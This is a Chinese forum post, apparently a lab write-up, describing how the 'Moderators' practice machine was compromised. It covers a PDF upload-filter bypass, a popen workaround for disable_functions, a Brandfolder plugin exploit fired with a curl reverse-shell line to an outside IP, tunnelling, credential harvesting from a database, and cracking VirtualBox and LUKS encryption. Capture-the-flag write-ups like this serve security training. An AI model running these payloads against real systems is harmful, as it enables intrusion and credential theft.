电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 511 人浏览分享

实战打靶之Moderators

[复制链接]
511 0
信息收集

端口扫描

使用nmap进行端口探测,发现其开放了22和80端口。

QQ截图20221201105623.png

web网页

没有发现可以利用的东西,就去看看web网页。

QQ截图20221201105705.png

发现该站点适用于某种托管服务/漏洞评估提供商。

QQ截图20221201105922.png

发现有一些漏洞的测试报告。

10010.png

报告里面包含了主机地址、漏洞类型等。

10009.png

目录爆破

接着使用feroxbuster对该站点进行目录fuzz。发现存在/logs目录。

10008.png

漏洞利用

发现report后面对应的都是报告的id值。

10007.png

Wfuzz工具的使用

接着使用wfuzz对id进行fuzz,它找到了六个,其中三个我还不知道。

10006.png

查找报告

接着使用feroxbuster,对/logs/e21cece511f43a5cb18d4932429915ed/继续fuzz

10005.png

访问id为9798的报告看看。

10004.png

然后查看一下logs.pdf,没发现可以利用的内容。

10003.png

md5解密一下看看。

10002.png

使用wfuzz对id_hashs进行fuzz

接着将获取到的存在的报告,对其id生成md5的hash,继续使用wfuzz进行fuzz。

10001.png

都查看一下,发现存在一个上传接口。

10000.png

1999.png

文件上传漏洞

发现一个上传接口。

1998.png

尝试进行漏洞利用。

1997.png

提交文件的名称是“pdfFile”。

文件上传的过滤器

服务器上的某些东西拒绝了我的图像,因为它不是 PDF。服务器通常会通过三种方式进行这些检查,具体如下:

表单提交中的MIME 类型 ( Content-Type);
文件开头的魔术字节(file命令如何工作);
和文件扩展名。

根据https://en.wiki/pedia.org/wiki/List_of_file_signatures,PDF 以五个字节开头%PDF- 这很容易
在文件的开头添加。我将filename参数更改为z.pdf.

1996.png

文件上传bypass

通过修改文件名、Content-Type、和文件开头的魔术字节。成功绕过文件上传的限制。

1995.png

将其文件后缀名改为.php,成功上传文件。

1994.png

访问一下看看,成功获取到文件内容。

1993.png

接着写入phpinfo();成功上传。

1899.png

成功访问到phpinfo文件。

1898.png

然后查看其disable_functions.发现大多数执行命令的函数都被禁用。

1896.png

对disable_functions进行Bypass

推荐工具:https://github.com/TarlogicSecurity/Chankro

<?php
error_reporting(E_ALL);

/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

利用popen函数对disable_functions进行绕过。成功执行命令。

1895.png

命令执行漏洞

2116.png

权限提升

反弹shell

接着使用curl进行反弹shell。

100.png

使用nc进行监听

99.png

成功获取到shell。

查找其他站点

netstat显示了一些在 localhost 上侦听的服务:

98.png

使用curl确认它是另一个网络服务器。

96.png

Wordpres网站

搭建隧道

接着使用chisel建立隧道。

./chisel_1.7.7_linux_amd64 client 10.10.17.140:8000 R:socks

93.png

查看其进程。

90.png

进入/opt/new.site:发现一些文件。

89.png

88.png

Brandfolder 漏洞利用

86.png

在exploitdb找到了漏洞利用脚本。

83.png

82.png

使用curl触发漏洞。

curl '127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_absp
ath=/dev/shm/&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.17.140/5
444+0>%261"'

81.png

成功获取到lexi到shell。

获取user.txt

接着翻到了user.txt文件。

80.png

SSH远程登录

接着使用ssh到ID_rsa登录lexi用户。

69.png

源码分析

在插件的根目录下,有一个pwds-manager.php文件。在该文件中,有一个pms_db_install
用于设置数据库的函数:

/*
        **Create Datatable for plugin  activation
        */
        if ( ! function_exists('pms_db_install') ){
                function pms_db_install() {
                global $wpdb;

                /*
              **create pms_category datatable
                        */
                        $table_name = $wpdb->prefix . 'pms_category';
                        $sql = "CREATE TABLE $table_name (
                                id int(11) NOT NULL AUTO_INCREMENT,
                                category varchar(55) DEFAULT '' NOT NULL,
                                PRIMARY KEY  (id)
                        )ENGINE=InnoDB DEFAULT CHARSET=latin1";
                        require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
                        dbDelta( $sql );
                        $result =       $wpdb->insert(
                                $table_name,
                                array('category' =>'Uncategorized',) ,
                                array('%s')
                        );

                        /*
                        **create pms_passwords datatable
                        */
                        $table_name = $wpdb->prefix . 'pms_passwords';
                        $sql1 = "CREATE TABLE $table_name (
                                pass_id int(11) NOT NULL AUTO_INCREMENT,
                                user_name varchar(200) NOT NULL,
                                user_email varchar(200) NOT NULL,
                                user_password longtext NOT NULL,
                                category_id int(11) NOT NULL,
                                note text CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
                                url longtext NOT NULL,
                                PRIMARY KEY  (pass_id)
                        )ENGINE=InnoDB DEFAULT CHARSET=latin1";
                        dbDelta( $sql1 );
                }
                 register_activation_hook( __FILE__, 'pms_db_install' );
        }

MYSQL登录

使用mysql -u wordpressuser -p'wordpresspassword123!!' wordpress进行登录mysql数据库。

show tables;查看其表。

68.png

使用select user_name,user_email,urlfromwp_pms_passwords;查看数据库的用户和密码。

66.png

使用select user_name,user_passwordfromwp_pms_passwords;查找ssh密钥。

63.png

接着查询pms_encrypt_key。

QQ截图20221201144532.png

SSH端口转发

然后配置DB的host代理到本地

QQ截图20221201144615.png

查找数据库的登录用户和密码。

300.png

接着使用这个网站生成wordpress的新密码。

https://www.useotools.com/es/wordpress-password-hash-generator/

299.png

更新数据库配置。

UPDATE `wp_users` SET `user_pass` = '$P$BqTMH6f2/YJmGLjPetfgm3MnNewMhS1' WH
ERE user_login = your_user_name

登录wordpress

接着在本地登录wordpress

298.png

然后访问/wp-admin,发现了ssh的key。

296.png

远程登录ssh

接着继续使用新发现的id_rsa,登录ssh。

289.png

登录之后,发现有一些脚步文件。

288.png

进入/stuff,发现一些文件。发现了.vbox文件。

285.png

破解VirtualBox 加密

接着使用https://github.com/axcheron/pyvboxdie-cracker,破解其加密。

使用scp将其下载到本地机器中。

282.png

然后使用cracker.py进行破解。其登录密码为computer

281.png

本地搭建靶机

然后在本地搭建环境。

280.png

进入启动界面。

269.png

输入computer密码。成功开机。

268.png

爆破磁盘密码

接着打开终端,然后映射磁盘文件到本地机器。

然后爆破出磁盘密码为abc123

ubuntu@ubuntu:~$ ./bruteforce-luks-static-linux-amd64 -f wordlist.txt /dev/sda
Password found: abc123
ubuntu@ubuntu:~$

负载驱动

接着通过grep去检查这些root文件。

grep -r pass .

266.png

在all-in-one/distro_update.sh中,有一个密码:

./all-in-one/distro_update.sh:passwd='$_THE_best_Sysadmin_Ever_'

然后使用sudo -l 登录root

262.png

获取root.txt

最后成功找到了root.txt

261.png

总结

该靶机为困难模式的靶机,靶机涵盖了大量知识点和一些新奇的工具使用。涵盖了文件上传 命令执行及对
文件上传的bypass、绕过php_disbale_function等、还包含了wordpress的漏洞利用、破解VirtualBOX虚
拟机的加密、爆破磁盘密码等。建议感兴趣的同学也可以尝试一下。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.